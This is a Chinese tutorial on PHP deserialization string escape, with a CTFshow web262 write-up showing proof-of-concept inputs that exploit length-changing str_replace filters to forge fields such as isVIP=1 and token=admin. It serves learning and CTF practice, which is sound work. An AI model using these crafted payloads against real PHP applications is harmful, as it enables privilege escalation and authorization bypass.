天天看點

php反序列化字元串逃逸學習

文章目錄

    • 前言
    • 反序列化特點
    • 反序列化字元串逃逸
      • 逃逸後字元串變長
        • web262 wp
      • 逃逸後字元串變短

前言

最近在刷ctfshow的web入門反序列化題目時,正好遇到了字元串逃逸的問題,就跟着群主的講解視訊和網上大佬的文章來學習一下。

反序列化特點

PHP 在反序列化時,底層代碼是以 ; 作為字段的分隔,以 } 作為結尾(字元串除外),并且是根據長度判斷内容的 ,同時反序列化的過程中必須嚴格按照序列化規則才能成功實作反序列化 。

看如下代碼:

<?php
class a{
	public $a = "shyshy";
	public $b = "nb666";
}

$x = new a();
echo serialize($x); 
//結果為 O:1:"a":2:{s:1:"a";s:6:"shyshy";s:1:"b";s:5:"nb666";}

echo '<br>';
$y = 'O:1:"a":2:{s:1:"a";s:6:"shyshy";s:1:"b";s:5:"nb666";}';
var_dump(unserialize($y));
           

最後反序列化的結果為

php反序列化字元串逃逸學習

因為是根據長度來判斷内容,是以會在長度符合後的第一個

}

結束

$y = 'O:1:"a":2:{s:1:"a";s:6:"shyshy";s:1:"b";s:5:"nb666";}6";}';
var_dump(unserialize($y));
           
php反序列化字元串逃逸學習

當字元串和前面的長度不對應時,就會報錯

$y = 'O:1:"a":2:{s:1:"a";s:6:"shyshy";s:1:"b";s:6:"nb666";}'; // 長度改為6
var_dump(unserialize($y));
           
php反序列化字元串逃逸學習

反序列化字元串逃逸

下面開始逃逸,能夠逃逸的特點一般是題目中都有替換函數,将一些關鍵詞替換成為另一個詞,進而造成字元串的長度

增加

減少

,而php總是先進行序列化操作,再去替換字元串。

逃逸後字元串變長

看下面的代碼

<?php
class user{
	public $username;
	public $password;
	public $isVIP;

	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
		$this->isVIP=0;
	}
}

function filter($s){
	return str_replace('admin','hacker',$s);
}
$u = new user('admin','123456');
echo serialize($u);
           

輸出為

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

用過濾函數後

$us = filter($u_seri);
echo $us;
           

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

兩者對比,發現admin已經被替換成hacker,但是字元串長度沒有變,還是

5

,這就逃逸出來了一個字元。

現在想要将isVIP的值改為1,首先,可以将admin的值改為

admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

,這樣可以使得在反序列化時,到這裡就成功閉合,進而舍棄後面的字元串。

php反序列化字元串逃逸學習

但是因為admin變長,前面的長度卻還顯示的是原來的,這就導緻運作後會報錯。這時就要借助過濾函數讓字元串變長的作用。(剛剛添加的字元串長度為47)

過濾函數每次替換後,都會讓字元串字母+1,也就是需要47個admin來填充

$u = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$u_seri = serialize($u);
$us = filter($u_seri);
echo $us;
           

輸出結果:

驗證一下長度

php反序列化字元串逃逸學習

再來看最後結果

php反序列化字元串逃逸學習

發現成功的讓isVIP變成了1

web262 wp

再看一道反序列化導緻字元串變長的題,是CTFshow web入門的web262

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);
           

這裡會把字元串中的

fuck

替換為

loveU

,多出來一個字元。

題目中給的提示,還有一個message.php

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}
           

開始分析

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
	}
}

function filter($msg){
	return str_replace('fuck','loveU',$msg);
}

$msg = new message('1','1','fuck');

$msg_1 = serialize($msg);

echo $msg_1;
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}
           

上面是在函數過濾前,下面是函數過濾後

$msg_2 = filter($msg_1);
echo $msg_2;
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}
           

可以看到逃逸出一個字元。那麼這題就是要把類中

$token

的值由user換成

admin

,按照上面的例子

php反序列化字元串逃逸學習

可以看到字元串的長度是27,也就是要

27個fuck

完整poc:

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
	}
}

function filter($msg){
	return str_replace('fuck','loveU',$msg);
}

$msg = new message('1','1','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');

$msg_1 = serialize($msg);


$msg_2 = filter($msg_1);
echo $msg_2;
           

驗證一下,發現逃逸成功,

token=admin

php反序列化字元串逃逸學習

payload:

然後通路

message.php

擷取flag

逃逸後字元串變短

寫一個簡單的代碼

<?php
highlight_file(__FILE__);
class web{
	public $username;
	public $password;
	public $isvip = '0';

	public function __construct($u,$p){
		$this->username = $u;
		$this->password = $p;
	}
}

$username = $_GET[u];
$password = $_GET[p];

function filter($msg){
	return str_replace('shy','',$msg);
}

$msg = new web($username,$password);

$msg_1 = serialize($msg);
echo $msg_1;
echo '<br>';
echo '<br>';

$msg_2 = filter($msg_1);
echo $msg_2;
echo '<br>';
echo '<br>';

$msg_3 = unserialize($msg_2);
var_dump($msg_3);
           

目的是讓isvip的值由0變為1。在輸入普通字元後,結果正常

php反序列化字元串逃逸學習

在輸入一個shy後,被置換為空,同時逃逸出三個字元

php反序列化字元串逃逸學習

那麼想要讓isvip的值為1,就要構造如下字元串

長度為22,先輸入一個shy讓反序列化不正常

php反序列化字元串逃逸學習

那麼紅框框起來的就變為username的值,那麼可以讓這中間的

";s:8:"password";s:29:"123456

全部變成username的值,再自己添加一個password,使變量的數量保持為3,就可以造成逃逸。

php反序列化字元串逃逸學習

由于長度是29,無法整除3,是以改成1234567,此時長度為30,共需要10個shy,吃掉30個字元。然後添加

";s:8:"password";s:6:"123456

作為password序列化的内容。

如下圖,可以看到成功的把isvip的值變為1

php反序列化字元串逃逸學習

payload: